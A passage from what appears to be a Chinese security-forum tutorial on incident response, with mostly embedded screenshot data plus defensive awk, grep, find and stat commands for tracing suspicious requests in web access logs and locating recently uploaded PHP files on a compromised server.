Cw4Ikt7PV8lBjJ5sjSs1i8fZU8LHNgzvAs74kUrR1WshuWvr7FqXWreNCO3Nlt/pQbf28vkDZzdsxaI0+NYxTsrpOC7RNq3WdNim7sN6+cetHe25zzATACnMTSdEY01SmasyCyuR6GIkp1muqbBOPRxhJYQ3Ru6SjKVJT3DJTGatfV2W7fNhck9XGlOTmODWmKKo1gE28tbRv0Zgi2aTvmhZPOdvnvXaPwiRf0+pEjPJqyDu/zg0qN+enI53t9HFpC+201ZYwZjtxKz9nfdzzztsO+cqQq83L1r7YeXtuDW9XPjJTzd9l1VlvD3HOextjQlP6tTid2hCH8OTHMQx/vXv2i4bCcaoDj3rnGp/55Lb/y0zVFCaRxBTVqZxq46tn++o6LbMtOM0xfufLq184jO2dtLGO+06znh793ZcwPPMp55zLJfcxF3hJd23ev7bBly+uedmXtZYf0sY6qtv6khSm2bRNqdbg3OutR+2nFrVb2dr3B+/77qA9+1U+HfcLP+0Lv8VrHHuS4h5AMkY3p8leVpmlodQacXNYnjBUv+YwUTUNFPV2YwyqquzSAZsHmebOYSzcbhuGMXm66mz3m8QUzW5Qd0uLr5xbB1+bQdqntBrqjWPh4DRY8+gsKVqDfk51yKuzmz5WHZwGAZ622pgvc6HlPNi6lY973nnaIWcZ1jLWUJeyYq2b5rTc4vFuYzz3ONHOAO2V97bGBCPvtbbWzeKCfDBs+cZM7n7h+nCBo97rYbsxJGpx13Q1DUC38N0tinjTuu2fnRu27eWLPNO6C8PWn3GjnTDec677fMo553LL3c8F3tIfhi1vvjzHH1/WWv4J1zrKj/pyM2zd6qVnhi1fu2rVr9v26Kdh221dUfcP0LntC4/x0FeBYWsj7gHcO2Jro+XpGM5xuiycrA3S2vktA6U13oY0Ghozz1OpzvLF2+DsOojngNfceVoGTh/Tst7ruZB1KQdPnT3quQOdvevFbRDgqffW+90NoTYG9pa8t9N33OLhmRBs9HSIp70nus5pS4pm/O7jwNykM9+YYPnbZlLqlbgbkHz1zt0vPAxb93q3hu2ubG77Su8NW660JIVp9XLp8o0td77IdvHT1vVeSEfjBn+Ydudcv9sDr15OaXU/F/BIPxi2/PlyH3/8Wmv5KJ2sSTqqL+ONt+uDavt7ujPqPQzthp05boZaPUB3D3j97LN+jIld9It27ItePZixFxi2zeLDGdscZXdu/9rYyxLFUpRpO4w70myq/n/5Y5po93PtvNjGFu3kjHi3dihnxJtJEeUoQ0uScW92z9iTn6FUjCi93HgYfTndbr5W6POuNR6781u8aXGwsUU7uRhllmqJSEsZiuV2aKt+0MDHtAxW5gUShLj7uVD5I6Vz2/S73eE9T52Jag5pLDovp9tuG9z6cOFV7xlKxWzCdKQPT955+o5XPDWdd7a8TqU0pkVENvG018bMMztrLY3Ir/O17nnnGxPMvC7Q+nKaqKWN+ovppGgpu0rCvFOmux8z+fGqd//YWIzT6naKlnnOvfY8LYmUtQXKbnZ/9rjdfNXmMJcz9yvzxpk81kMHiX6MG7xhvMYNnvmUJ4yf+DwXPBj8ypdfay0f4VqT+JIQLcaNM7P1vH+kz5vOJ06d50q/iNHCkvVM7ybtppcbzs/KKjPOxpphPtPHbhxI+YjnmNlj+O0LnrUW6CUPy3mUFxt7lKUUzUoyfUzt0NYOUSpDlEnFKNewcsvR9mrzoXTBZZFpT83wMwYIitHCOrM5+O9PWkQbtLWTo1hmiSTDKGg9QO9XWrxIpCylaXfLyaOrl84SKdoypbZvnYEJLgN/9/rcNW76+JV3v8vQC/42JquMllPbtNrg8ddcTK/TQsxc9CxTmtK0zOz6jxsceeceE8y8bdJubIHWejiRm55vt1Lr3XnBfKDU8r9Ju7ltWl3docx677zAuqYlLVEmZl1419pkbGG9I6+b3PmSFFpK52jb7embrBJjS5RdFXrk9Kv/xg2e+ZRvzgX9w92uSW4/l+X0QIhnHeUXG7QYt+Z7nnYsL2is2M+VfqqyR1nK0faaNf4Vmt/cNcqCiEimj+nWML9v5yxh7gmeMbPXtLWW8Afv9gzs8MGwjVEqc/uXNJuy8fTJE8Yd6xPDlc+7ROmPtUo2Fic1diibi1FqaZZS2T1a2dqh1EeVPqatT1CMMBnyoB2dV2jeXBiYerWVFh+1J0YZWpKXKNPyVMjftLgwPlfi9qbNXefWp1uSw8Dvlz7eeNV7azk76uyqD2/evfThiaems/mUunP425jzRG3pK7ubhmdzopy5wG5rwcOfd/cxwSC3Q1sbxmS/8Knnk8jK510Xz7fdj5kPAmPHTWr2DpZNzWm1eN00PG5ur3b/+SWXfMmfFjzfEtXqu5c7B/waN/jD8M9NTvNpu2G6xce54EHhV756sdZyx3xoaBqS9hvJ3NYkvcTekO65UUtEtbqw0char9Is9Wvr5Rkzew+/fdH9WqsGT3sG9rjuVfY672DnZIDHwYKz8yi+85qyjfOoelr1OEzPfnYOnRr36jc60uBwaCApTLPz7mvrpdgtLb5yJrLmx+Gchq9peZ+xvXWY0qnOzeXq4aTCQ2c+fdzPhHbanu10dteHJ+88jjU4y9DToYHN+Um7c5kcbazWbtzP5tyWTTfnQ/jyzj0mNJ2T6Z13Trs0W/PF7Tyq6zO2HPVu0aObszyyaqZlnkV1i7O79NpL67beO3MexZkWj7O1duq1Y/Fr3Og8TMO4wTOf8s651mseZ/Luai7g1ac/zti26TzK0xlSl2st38VjHdWWuNSX
<p>通过上述方法我们就可以对不要的日志或者重要的日志进行简化处理，这样我们在进行下一步处理的时候会方便许多。</p>
<p>比如说我们使用用下条命令查看/user，然后我们获取到了具体的IP和时间路径等信息，通过该信息再去比如说企业上面的设备告警信息进行相应的匹配我们就可以相对容易的查找到我们想要的信息</p>
<pre><code>awk '{print $1 $4 $7}' access.log.1 | grep -i 192.168.1.5 | grep "/user"</code></pre>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094300-9f38b22c-17dc-1.png><img src=data:image/png;base64,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
<h1 id=toc-3>时间特征分析</h1>
<p>我们通过上述情况我们就可以针对时间去查看在这段时间内文件上传的情况，比如说我们查看日志时间是在24小时内，那么我们就可以使用如下命令来查找该时间段的php文件（这个我才创建的，只是为了让大家看到效果）</p>
<pre><code>find /var/www/html/ -mtime 0 -name "*.php"</code></pre>
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094848-6ebc5922-17dd-1.png><img src=data:image/png;base64,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
<p>我们通过stat来判断文件时间信息，当我们再用echo进行重新写入的时候发现文件时间更改了，这里是要注意的点，因为我们有时候需要保证文件时间信息，当你查看文件或者误操作导致文件时间进行了修改那么可能对于对文件判断会有一些操作花费更多的时间，所以这里需要注意。</p>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240522094855-72aeaab2-17dd-1.png><img src="data:image/png;base64,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
这里可能又会一些细节，比如说我们对文件进行正则匹配的时候可能攻击者并不是php后缀，而是php3,php5,phtml后缀，我们这时候可以进行前后通配符来正则匹配</p>
<pre><code>find /var/www/html/ -mtime 0 -name "*.ph*"</code></pre>
